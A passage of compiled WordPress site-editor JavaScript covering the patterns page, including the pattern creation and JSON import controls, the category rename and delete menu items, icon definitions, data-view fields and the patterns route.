43029 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
43030 const patternUploadInputRef = (0,external_wp_element_.useRef)();
43031 const {
43032 isBlockBasedTheme,
43033 addNewPatternLabel,
43034 addNewTemplatePartLabel,
43035 canCreatePattern,
43036 canCreateTemplatePart
43037 } = (0,external_wp_data_.useSelect)((select) => {
43038 const { getCurrentTheme, getPostType, canUser } = select(external_wp_coreData_namespaceObject.store);
43039 return {
43040 isBlockBasedTheme: getCurrentTheme()?.is_block_theme,
43041 addNewPatternLabel: getPostType(PATTERN_TYPES.user)?.labels?.add_new_item,
43042 addNewTemplatePartLabel: getPostType(TEMPLATE_PART_POST_TYPE)?.labels?.add_new_item,
43043 // Blocks refers to the wp_block post type, this checks the ability to create a post of that type.
43044 canCreatePattern: canUser("create", {
43045 kind: "postType",
43046 name: PATTERN_TYPES.user
43047 }),
43048 canCreateTemplatePart: canUser("create", {
43049 kind: "postType",
43050 name: TEMPLATE_PART_POST_TYPE
43051 })
43052 };
43053 }, []);
43054 function handleCreatePattern({ pattern }) {
43055 setShowPatternModal(false);
43056 history.navigate(
43057 `/${PATTERN_TYPES.user}/${pattern.id}?canvas=edit`
43058 );
43059 }
43060 function handleCreateTemplatePart(templatePart) {
43061 setShowTemplatePartModal(false);
43062 history.navigate(
43063 `/${TEMPLATE_PART_POST_TYPE}/${templatePart.id}?canvas=edit`
43064 );
43065 }
43066 function handleError() {
43067 setShowPatternModal(false);
43068 setShowTemplatePartModal(false);
43069 }
43070 const controls = [];
43071 if (canCreatePattern) {
43072 controls.push({
43073 icon: symbol_default,
43074 onClick: () => setShowPatternModal(true),
43075 title: addNewPatternLabel
43076 });
43077 }
43078 if (isBlockBasedTheme && canCreateTemplatePart) {
43079 controls.push({
43080 icon: symbol_filled_default,
43081 onClick: () => setShowTemplatePartModal(true),
43082 title: addNewTemplatePartLabel
43083 });
43084 }
43085 if (canCreatePattern) {
43086 controls.push({
43087 icon: upload_default,
43088 onClick: () => {
43089 patternUploadInputRef.current.click();
43090 },
43091 title: (0,external_wp_i18n_namespaceObject.__)("Import pattern from JSON")
43092 });
43093 }
43094 const { categoryMap, findOrCreateTerm } = useAddPatternCategory();
43095 if (controls.length === 0) {
43096 return null;
43097 }
43098 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43099 addNewPatternLabel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43100 external_wp_components_namespaceObject.DropdownMenu,
43101 {
43102 controls,
43103 icon: null,
43104 toggleProps: {
43105 variant: "primary",
43106 showTooltip: false,
43107 __next40pxDefaultSize: true
43108 },
43109 text: addNewPatternLabel,
43110 label: addNewPatternLabel
43111 }
43112 ),
43113 showPatternModal && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43114 CreatePatternModal,
43115 {
43116 onClose: () => setShowPatternModal(false),
43117 onSuccess: handleCreatePattern,
43118 onError: handleError
43119 }
43120 ),
43121 showTemplatePartModal && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43122 CreateTemplatePartModal,
43123 {
43124 closeModal: () => setShowTemplatePartModal(false),
43125 blocks: [],
43126 onCreate: handleCreateTemplatePart,
43127 onError: handleError
43128 }
43129 ),
43130 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43131 "input",
43132 {
43133 type: "file",
43134 accept: ".json",
43135 hidden: true,
43136 ref: patternUploadInputRef,
43137 onChange: async (event) => {
43138 const file = event.target.files?.[0];
43139 if (!file) {
43140 return;
43141 }
43142 try {
43143 let currentCategoryId;
43144 if (location.query.postType !== TEMPLATE_PART_POST_TYPE) {
43145 const currentCategory = Array.from(
43146 categoryMap.values()
43147 ).find(
43148 (term) => term.name === location.query.categoryId
43149 );
43150 if (currentCategory) {
43151 currentCategoryId = currentCategory.id || await findOrCreateTerm(
43152 currentCategory.label
43153 );
43154 }
43155 }
43156 const pattern = await createPatternFromFile(
43157 file,
43158 currentCategoryId ? [currentCategoryId] : void 0
43159 );
43160 if (!currentCategoryId && location.query.categoryId !== "my-patterns") {
43161 history.navigate(
43162 `/pattern?categoryId=${PATTERN_DEFAULT_CATEGORY}`
43163 );
43164 }
43165 createSuccessNotice(
43166 (0,external_wp_i18n_namespaceObject.sprintf)(
43167 // translators: %s: The imported pattern's title.
43168 (0,external_wp_i18n_namespaceObject.__)('Imported "%s" from JSON.'),
43169 pattern.title.raw
43170 ),
43171 {
43172 type: "snackbar",
43173 id: "import-pattern-success"
43174 }
43175 );
43176 } catch (err) {
43177 createErrorNotice(err.message, {
43178 type: "snackbar",
43179 id: "import-pattern-error"
43180 });
43181 } finally {
43182 event.target.value = "";
43183 }
43184 }
43185 }
43186 )
43187 ] });
43188}
43189
43190
43191;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/rename-category-menu-item.js
43192
43193
43194
43195
43196
43197
43198
43199const { RenamePatternCategoryModal } = unlock(external_wp_patterns_namespaceObject.privateApis);
43200function RenameCategoryMenuItem({ category, onClose }) {
43201 const [isModalOpen, setIsModalOpen] = (0,external_wp_element_.useState)(false);
43202 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43203 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { onClick: () => setIsModalOpen(true), children: (0,external_wp_i18n_namespaceObject.__)("Rename") }),
43204 isModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43205 rename_category_menu_item_RenameModal,
43206 {
43207 category,
43208 onClose: () => {
43209 setIsModalOpen(false);
43210 onClose();
43211 }
43212 }
43213 )
43214 ] });
43215}
43216function rename_category_menu_item_RenameModal({ category, onClose }) {
43217 const normalizedCategory = {
43218 id: category.id,
43219 slug: category.slug,
43220 name: category.label
43221 };
43222 const existingCategories = usePatternCategories();
43223 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43224 RenamePatternCategoryModal,
43225 {
43226 category: normalizedCategory,
43227 existingCategories,
43228 onClose,
43229 overlayClassName: "edit-site-list__rename-modal",
43230 focusOnMount: "firstContentElement",
43231 size: "small"
43232 }
43233 );
43234}
43235
43236
43237;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/delete-category-menu-item.js
43238
43239
43240
43241
43242
43243
43244
43245
43246
43247
43248
43249const { useHistory: delete_category_menu_item_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
43250function DeleteCategoryMenuItem({ category, onClose }) {
43251 const [isModalOpen, setIsModalOpen] = (0,external_wp_element_.useState)(false);
43252 const history = delete_category_menu_item_useHistory();
43253 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
43254 const { deleteEntityRecord, invalidateResolution } = (0,external_wp_data_.useDispatch)(external_wp_coreData_namespaceObject.store);
43255 const onDelete = async () => {
43256 try {
43257 await deleteEntityRecord(
43258 "taxonomy",
43259 "wp_pattern_category",
43260 category.id,
43261 { force: true },
43262 { throwOnError: true }
43263 );
43264 invalidateResolution("getUserPatternCategories");
43265 invalidateResolution("getEntityRecords", [
43266 "postType",
43267 PATTERN_TYPES.user,
43268 { per_page: -1 }
43269 ]);
43270 createSuccessNotice(
43271 (0,external_wp_i18n_namespaceObject.sprintf)(
43272 /* translators: %s: The pattern category's name */
43273 (0,external_wp_i18n_namespaceObject._x)('"%s" deleted.', "pattern category"),
43274 category.label
43275 ),
43276 { type: "snackbar", id: "pattern-category-delete" }
43277 );
43278 onClose?.();
43279 history.navigate(
43280 `/pattern?categoryId=${PATTERN_DEFAULT_CATEGORY}`
43281 );
43282 } catch (error) {
43283 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0,external_wp_i18n_namespaceObject.__)(
43284 "An error occurred while deleting the pattern category."
43285 );
43286 createErrorNotice(errorMessage, {
43287 type: "snackbar",
43288 id: "pattern-category-delete"
43289 });
43290 }
43291 };
43292 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43293 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { isDestructive: true, onClick: () => setIsModalOpen(true), children: (0,external_wp_i18n_namespaceObject.__)("Delete") }),
43294 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43295 external_wp_components_namespaceObject.__experimentalConfirmDialog,
43296 {
43297 isOpen: isModalOpen,
43298 onConfirm: onDelete,
43299 onCancel: () => setIsModalOpen(false),
43300 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Delete"),
43301 className: "edit-site-patterns__delete-modal",
43302 title: (0,external_wp_i18n_namespaceObject.sprintf)(
43303 // translators: %s: The pattern category's name.
43304 (0,external_wp_i18n_namespaceObject._x)('Delete "%s"?', "pattern category"),
43305 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(category.label)
43306 ),
43307 size: "medium",
43308 __experimentalHideHeader: false,
43309 children: (0,external_wp_i18n_namespaceObject.sprintf)(
43310 // translators: %s: The pattern category's name.
43311 (0,external_wp_i18n_namespaceObject.__)(
43312 'Are you sure you want to delete the category "%s"? The patterns will not be deleted.'
43313 ),
43314 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(category.label)
43315 )
43316 }
43317 )
43318 ] });
43319}
43320
43321
43322;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/actions.js
43323
43324
43325
43326
43327
43328
43329
43330
43331
43332function PatternsActions({ categoryId, type }) {
43333 const { patternCategories } = usePatternCategories();
43334 let patternCategory;
43335 if (type === PATTERN_TYPES.user && !!categoryId) {
43336 patternCategory = patternCategories.find(
43337 (category) => category.name === categoryId
43338 );
43339 }
43340 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43341 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(AddNewPattern, {}),
43342 !!patternCategory?.id && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43343 external_wp_components_namespaceObject.DropdownMenu,
43344 {
43345 icon: more_vertical_default,
43346 label: (0,external_wp_i18n_namespaceObject.__)("Actions"),
43347 toggleProps: {
43348 className: "edit-site-patterns__button",
43349 size: "compact"
43350 },
43351 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { children: [
43352 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43353 RenameCategoryMenuItem,
43354 {
43355 category: patternCategory,
43356 onClose
43357 }
43358 ),
43359 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43360 DeleteCategoryMenuItem,
43361 {
43362 category: patternCategory,
43363 onClose
43364 }
43365 )
43366 ] })
43367 }
43368 )
43369 ] });
43370}
43371
43372
43373;// ./node_modules/@wordpress/icons/build-module/library/pencil.js
43374
43375
43376var pencil_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z" }) });
43377
43378
43379;// ./node_modules/@wordpress/edit-site/build-module/components/dataviews-actions/index.js
43380
43381
43382
43383
43384
43385
43386const { useHistory: dataviews_actions_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
43387const useEditPostAction = () => {
43388 const history = dataviews_actions_useHistory();
43389 return (0,external_wp_element_.useMemo)(
43390 () => ({
43391 id: "edit-post",
43392 label: (0,external_wp_i18n_namespaceObject.__)("Edit"),
43393 isPrimary: true,
43394 icon: pencil_default,
43395 isEligible(post) {
43396 if (post.status === "trash") {
43397 return false;
43398 }
43399 return post.type !== PATTERN_TYPES.theme;
43400 },
43401 callback(items) {
43402 const post = items[0];
43403 history.navigate(`/${post.type}/${post.id}?canvas=edit`);
43404 }
43405 }),
43406 [history]
43407 );
43408};
43409
43410
43411;// ./node_modules/@wordpress/icons/build-module/library/plugins.js
43412
43413
43414var plugins_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.5 4v4h3V4H15v4h1.5a1 1 0 011 1v4l-3 4v2a1 1 0 01-1 1h-3a1 1 0 01-1-1v-2l-3-4V9a1 1 0 011-1H9V4h1.5zm.5 12.5v2h2v-2l3-4v-3H8v3l3 4z" }) });
43415
43416
43417;// ./node_modules/@wordpress/icons/build-module/library/globe.js
43418
43419
43420var globe_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8Zm6.5 8c0 .6 0 1.2-.2 1.8h-2.7c0-.6.2-1.1.2-1.8s0-1.2-.2-1.8h2.7c.2.6.2 1.1.2 1.8Zm-.9-3.2h-2.4c-.3-.9-.7-1.8-1.1-2.4-.1-.2-.2-.4-.3-.5 1.6.5 3 1.6 3.8 3ZM12.8 17c-.3.5-.6 1-.8 1.3-.2-.3-.5-.8-.8-1.3-.3-.5-.6-1.1-.8-1.7h3.3c-.2.6-.5 1.2-.8 1.7Zm-2.9-3.2c-.1-.6-.2-1.1-.2-1.8s0-1.2.2-1.8H14c.1.6.2 1.1.2 1.8s0 1.2-.2 1.8H9.9ZM11.2 7c.3-.5.6-1 .8-1.3.2.3.5.8.8 1.3.3.5.6 1.1.8 1.7h-3.3c.2-.6.5-1.2.8-1.7Zm-1-1.2c-.1.2-.2.3-.3.5-.4.7-.8 1.5-1.1 2.4H6.4c.8-1.4 2.2-2.5 3.8-3Zm-1.8 8H5.7c-.2-.6-.2-1.1-.2-1.8s0-1.2.2-1.8h2.7c0 .6-.2 1.1-.2 1.8s0 1.2.2 1.8Zm-2 1.4h2.4c.3.9.7 1.8 1.1 2.4.1.2.2.4.3.5-1.6-.5-3-1.6-3.8-3Zm7.4 3c.1-.2.2-.3.3-.5.4-.7.8-1.5 1.1-2.4h2.4c-.8 1.4-2.2 2.5-3.8 3Z" }) });
43421
43422
43423;// ./node_modules/@wordpress/icons/build-module/library/comment-author-avatar.js
43424
43425
43426var comment_author_avatar_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43427 external_wp_primitives_namespaceObject.Path,
43428 {
43429 fillRule: "evenodd",
43430 d: "M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z",
43431 clipRule: "evenodd"
43432 }
43433) });
43434
43435
43436;// ./node_modules/@wordpress/edit-site/build-module/components/page-templates/hooks.js
43437
43438
43439
43440
43441function useAddedBy(postType, postId) {
43442 return (0,external_wp_data_.useSelect)(
43443 (select) => {
43444 const { getEntityRecord, getUser, getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
43445 const template = getEditedEntityRecord(
43446 "postType",
43447 postType,
43448 postId
43449 );
43450 const originalSource = template?.original_source;
43451 const authorText = template?.author_text;
43452 switch (originalSource) {
43453 case "theme": {
43454 return {
43455 type: originalSource,
43456 icon: layout_default,
43457 text: authorText,
43458 isCustomized: template.source === TEMPLATE_ORIGINS.custom
43459 };
43460 }
43461 case "plugin": {
43462 return {
43463 type: originalSource,
43464 icon: plugins_default,
43465 text: authorText,
43466 isCustomized: template.source === TEMPLATE_ORIGINS.custom
43467 };
43468 }
43469 case "site": {
43470 const siteData = getEntityRecord(
43471 "root",
43472 "__unstableBase"
43473 );
43474 return {
43475 type: originalSource,
43476 icon: globe_default,
43477 imageUrl: siteData?.site_logo ? getEntityRecord(
43478 "postType",
43479 "attachment",
43480 siteData.site_logo
43481 )?.source_url : void 0,
43482 text: authorText,
43483 isCustomized: false
43484 };
43485 }
43486 default: {
43487 const user = getUser(template.author);
43488 return {
43489 type: "user",
43490 icon: comment_author_avatar_default,
43491 imageUrl: user?.avatar_urls?.[48],
43492 text: authorText,
43493 isCustomized: false
43494 };
43495 }
43496 }
43497 },
43498 [postType, postId]
43499 );
43500}
43501
43502
43503;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/fields.js
43504
43505
43506
43507
43508
43509
43510
43511
43512
43513
43514
43515const { useGlobalStyle: fields_useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
43516function PreviewField({ item }) {
43517 const descriptionId = (0,external_wp_element_.useId)();
43518 const description = item.description || item?.excerpt?.raw;
43519 const isTemplatePart = item.type === TEMPLATE_PART_POST_TYPE;
43520 const [backgroundColor] = fields_useGlobalStyle("color.background");
43521 const blocks = (0,external_wp_element_.useMemo)(() => {
43522 return item.blocks ?? (0,external_wp_blocks_namespaceObject.parse)(item.content.raw, {
43523 __unstableSkipMigrationLogs: true
43524 });
43525 }, [item?.content?.raw, item.blocks]);
43526 const isEmpty = !blocks?.length;
43527 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
43528 "div",
43529 {
43530 className: "page-patterns-preview-field",
43531 style: { backgroundColor },
43532 "aria-describedby": !!description ? descriptionId : void 0,
43533 children: [
43534 isEmpty && isTemplatePart && (0,external_wp_i18n_namespaceObject.__)("Empty template part"),
43535 isEmpty && !isTemplatePart && (0,external_wp_i18n_namespaceObject.__)("Empty pattern"),
43536 !isEmpty && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview.Async, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43537 external_wp_blockEditor_namespaceObject.BlockPreview,
43538 {
43539 blocks,
43540 viewportWidth: item.viewportWidth
43541 }
43542 ) }),
43543 !!description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { hidden: true, id: descriptionId, children: description })
43544 ]
43545 }
43546 );
43547}
43548const previewField = {
43549 label: (0,external_wp_i18n_namespaceObject.__)("Preview"),
43550 id: "preview",
43551 render: PreviewField,
43552 enableSorting: false
43553};
43554const SYNC_FILTERS = [
43555 {
43556 value: PATTERN_SYNC_TYPES.full,
43557 label: (0,external_wp_i18n_namespaceObject._x)("Synced", "pattern (singular)"),
43558 description: (0,external_wp_i18n_namespaceObject.__)("Patterns that are kept in sync across the site.")
43559 },
43560 {
43561 value: PATTERN_SYNC_TYPES.unsynced,
43562 label: (0,external_wp_i18n_namespaceObject._x)("Not synced", "pattern (singular)"),
43563 description: (0,external_wp_i18n_namespaceObject.__)(
43564 "Patterns that can be changed freely without affecting the site."
43565 )
43566 }
43567];
43568const patternStatusField = {
43569 label: (0,external_wp_i18n_namespaceObject.__)("Sync status"),
43570 id: "sync-status",
43571 render: ({ item }) => {
43572 const syncStatus = "wp_pattern_sync_status" in item ? item.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full : PATTERN_SYNC_TYPES.unsynced;
43573 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43574 "span",
43575 {
43576 className: `edit-site-patterns__field-sync-status-${syncStatus}`,
43577 children: SYNC_FILTERS.find(({ value }) => value === syncStatus).label
43578 }
43579 );
43580 },
43581 elements: SYNC_FILTERS,
43582 filterBy: {
43583 operators: [OPERATOR_IS],
43584 isPrimary: true
43585 },
43586 enableSorting: false
43587};
43588function AuthorField({ item }) {
43589 const [isImageLoaded, setIsImageLoaded] = (0,external_wp_element_.useState)(false);
43590 const { text, icon, imageUrl } = useAddedBy(item.type, item.id);
43591 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "left", spacing: 0, children: [
43592 imageUrl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43593 "div",
43594 {
43595 className: dist_clsx("page-templates-author-field__avatar", {
43596 "is-loaded": isImageLoaded
43597 }),
43598 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43599 "img",
43600 {
43601 onLoad: () => setIsImageLoaded(true),
43602 alt: "",
43603 src: imageUrl
43604 }
43605 )
43606 }
43607 ),
43608 !imageUrl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "page-templates-author-field__icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon }) }),
43609 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "page-templates-author-field__name", children: text })
43610 ] });
43611}
43612const templatePartAuthorField = {
43613 label: (0,external_wp_i18n_namespaceObject.__)("Author"),
43614 id: "author",
43615 getValue: ({ item }) => item.author_text,
43616 render: AuthorField,
43617 filterBy: {
43618 isPrimary: true
43619 }
43620};
43621
43622
43623;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/index.js
43624
43625
43626
43627
43628
43629
43630
43631
43632
43633
43634
43635
43636
43637
43638
43639
43640
43641
43642
43643
43644
43645const { ExperimentalBlockEditorProvider: page_patterns_ExperimentalBlockEditorProvider } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
43646const { usePostActions, patternTitleField } = unlock(external_wp_editor_namespaceObject.privateApis);
43647const { useLocation: page_patterns_useLocation, useHistory: page_patterns_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
43648const page_patterns_EMPTY_ARRAY = [];
43649const defaultLayouts = {
43650 [LAYOUT_TABLE]: {
43651 layout: {
43652 styles: {
43653 author: {
43654 width: "1%"
43655 }
43656 }
43657 }
43658 },
43659 [LAYOUT_GRID]: {
43660 layout: {
43661 badgeFields: ["sync-status"]
43662 }
43663 }
43664};
43665const DEFAULT_VIEW = {
43666 type: LAYOUT_GRID,
43667 perPage: 20,
43668 titleField: "title",
43669 mediaField: "preview",
43670 fields: ["sync-status"],
43671 filters: [],
43672 ...defaultLayouts[LAYOUT_GRID]
43673};
43674function usePagePatternsHeader(type, categoryId) {
43675 const { patternCategories } = usePatternCategories();
43676 const templatePartAreas = (0,external_wp_data_.useSelect)(
43677 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [],
43678 []
43679 );
43680 let title, description, patternCategory;
43681 if (type === TEMPLATE_PART_POST_TYPE) {
43682 const templatePartArea = templatePartAreas.find(
43683 (area) => area.area === categoryId
43684 );
43685 title = templatePartArea?.label || (0,external_wp_i18n_namespaceObject.__)("All Template Parts");
43686 description = templatePartArea?.description || (0,external_wp_i18n_namespaceObject.__)("Includes every template part defined for any area.");
43687 } else if (type === PATTERN_TYPES.user && !!categoryId) {
43688 patternCategory = patternCategories.find(
43689 (category) => category.name === categoryId
43690 );
43691 title = patternCategory?.label;
43692 description = patternCategory?.description;
43693 }
43694 return { title, description };
43695}
43696function DataviewsPatterns() {
43697 const { path, query } = page_patterns_useLocation();
43698 const { postType = "wp_block", categoryId: categoryIdFromURL } = query;
43699 const history = page_patterns_useHistory();
43700 const categoryId = categoryIdFromURL || PATTERN_DEFAULT_CATEGORY;
43701 const { view, updateView, isModified, resetToDefault } = (0,build_module.useView)({
43702 kind: "postType",
43703 name: postType,
43704 slug: categoryId,
43705 defaultView: DEFAULT_VIEW,
43706 queryParams: {
43707 page: query.pageNumber,
43708 search: query.search
43709 },
43710 onChangeQueryParams: (params) => {
43711 history.navigate(
43712 (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
43713 ...query,
43714 pageNumber: params.page,
43715 search: params.search
43716 })
43717 );
43718 }
43719 });
43720 const viewSyncStatus = view.filters?.find(
43721 ({ field }) => field === "sync-status"
43722 )?.value;
43723 const { patterns, isResolving } = use_patterns_default(postType, categoryId, {
43724 search: view.search,
43725 syncStatus: viewSyncStatus
43726 });
43727 const { records } = (0,external_wp_coreData_namespaceObject.useEntityRecords)("postType", TEMPLATE_PART_POST_TYPE, {
43728 per_page: -1
43729 });
43730 const authors = (0,external_wp_element_.useMemo)(() => {
43731 if (!records) {
43732 return page_patterns_EMPTY_ARRAY;
43733 }
43734 const authorsSet = /* @__PURE__ */ new Set();
43735 records.forEach((template) => {
43736 authorsSet.add(template.author_text);
43737 });
43738 return Array.from(authorsSet).map((author) => ({
43739 value: author,
43740 label: author
43741 }));
43742 }, [records]);
43743 const fields = (0,external_wp_element_.useMemo)(() => {
43744 const _fields = [previewField, patternTitleField];
43745 if (postType === PATTERN_TYPES.user) {
43746 _fields.push(patternStatusField);
43747 } else if (postType === TEMPLATE_PART_POST_TYPE) {
43748 _fields.push({
43749 ...templatePartAuthorField,
43750 elements: authors
43751 });
43752 }
43753 return _fields;
43754 }, [postType, authors]);
43755 const { data, paginationInfo } = (0,external_wp_element_.useMemo)(() => {
43756 const viewWithoutFilters = { ...view };
43757 delete viewWithoutFilters.search;
43758 if (postType !== TEMPLATE_PART_POST_TYPE) {
43759 viewWithoutFilters.filters = [];
43760 }
43761 return filterSortAndPaginate(patterns, viewWithoutFilters, fields);
43762 }, [patterns, view, fields, postType]);
43763 const dataWithPermissions = useAugmentPatternsWithPermissions(data);
43764 const templatePartActions = usePostActions({
43765 postType: TEMPLATE_PART_POST_TYPE,
43766 context: "list"
43767 });
43768 const patternActions = usePostActions({
43769 postType: PATTERN_TYPES.user,
43770 context: "list"
43771 });
43772 const editAction = useEditPostAction();
43773 const actions = (0,external_wp_element_.useMemo)(() => {
43774 if (postType === TEMPLATE_PART_POST_TYPE) {
43775 return [editAction, ...templatePartActions].filter(Boolean);
43776 }
43777 return [editAction, ...patternActions].filter(Boolean);
43778 }, [editAction, postType, templatePartActions, patternActions]);
43779 const settings = usePatternSettings();
43780 const { title, description } = usePagePatternsHeader(
43781 postType,
43782 categoryId
43783 );
43784 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(page_patterns_ExperimentalBlockEditorProvider, { settings, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43785 page_page_default,
43786 {
43787 className: "edit-site-page-patterns-dataviews",
43788 title,
43789 subTitle: description,
43790 actions: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43791 isModified && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43792 external_wp_components_namespaceObject.Button,
43793 {
43794 __next40pxDefaultSize: true,
43795 onClick: resetToDefault,
43796 children: (0,external_wp_i18n_namespaceObject.__)("Reset view")
43797 }
43798 ),
43799 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43800 PatternsActions,
43801 {
43802 categoryId,
43803 postType
43804 }
43805 )
43806 ] }),
43807 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43808 dataviews_default,
43809 {
43810 paginationInfo,
43811 fields,
43812 actions,
43813 data: dataWithPermissions || page_patterns_EMPTY_ARRAY,
43814 getItemId: (item) => item.name ?? item.id,
43815 isLoading: isResolving,
43816 isItemClickable: (item) => item.type !== PATTERN_TYPES.theme,
43817 onClickItem: (item) => {
43818 history.navigate(
43819 `/${item.type}/${[
43820 PATTERN_TYPES.user,
43821 TEMPLATE_PART_POST_TYPE
43822 ].includes(item.type) ? item.id : item.name}?canvas=edit`
43823 );
43824 },
43825 view,
43826 onChangeView: updateView,
43827 defaultLayouts
43828 },
43829 categoryId + postType
43830 )
43831 }
43832 ) });
43833}
43834
43835
43836;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/patterns.js
43837
43838
43839
43840
43841const patternsRoute = {
43842 name: "patterns",
43843 path: "/pattern",
43844 areas: {
43845 sidebar({ siteData }) {
43846 const isBlockTheme = siteData.currentTheme?.is_block_theme;
43847 const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? "/" : void 0;
43848 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, { backPath });
43849 },
43850 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsPatterns, {}),
43851 mobile({ siteData, query }) {
43852 const { categoryId } = query;
43853 const isBlockTheme = siteData.currentTheme?.is_block_theme;
